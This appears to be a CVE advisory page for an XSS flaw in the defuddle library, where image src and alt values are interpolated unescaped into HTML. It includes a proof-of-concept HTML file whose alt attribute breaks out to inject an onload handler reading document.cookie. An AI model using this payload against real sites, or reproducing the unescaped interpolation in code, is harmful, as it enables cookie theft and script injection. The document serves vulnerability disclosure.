CVE-2026-30830

Severity Scores

CVSS v30.0

CVSS v20.0

Priority Score0.0

EPSS Score0.0

None

Exploitation LikelihoodMinimal

0.00%EPSS

Very low probability of exploitation

Monitor and patch as resources allow

0.00%

EPSS

0.0

CVSS

No

Exploit

Yes

Patch

Low Priority

no major risk factors

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Description

Summary

The _findContentBySchemaText method in src/defuddle.ts interpolates image src and alt attributes directly into an HTML string without escaping:

html += `<img src="${imageSrc}" alt="${imageAlt}">`;

An attacker can use a " in the alt attribute to break out of the attribute context and inject event handlers. This is a separate vulnerability from the sanitization bypass fixed in f154cb7 — the injection happens during string construction, not in the DOM, so _stripUnsafeElements cannot catch it.

Details

When _findContentBySchemaText finds a sibling image outside the matched content element, it reads the image's src and alt attributes via getAttribute() and interpolates them into a template literal. getAttribute('alt') returns the raw attribute value. If the alt contains ", it terminates the alt attribute in the interpolated HTML string, and subsequent content becomes new attributes (including event handlers).

The recently added _stripUnsafeElements() (commit f154cb7) strips on* attributes from DOM elements, but the alt attribute's name is alt (not on*), so it is preserved with its full value. The onload handler is created by the string interpolation, not present in the original DOM.

PoC

Input HTML:

<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
<script type="application/ld+json">
{"@type": "Article", "text": "Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count."}
</script>
</head>
<body>
<article><p>Short.</p></article>
<div class="post-container">
  <p>Extra text to inflate parent word count padding padding padding.</p>
  <div class="post-body">
    Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count.
  </div>
  <img width="800" height="600" src="https://example.com/photo.jpg" alt='pwned" onload="alert(document.cookie)'>
</div>
</body>
</html>

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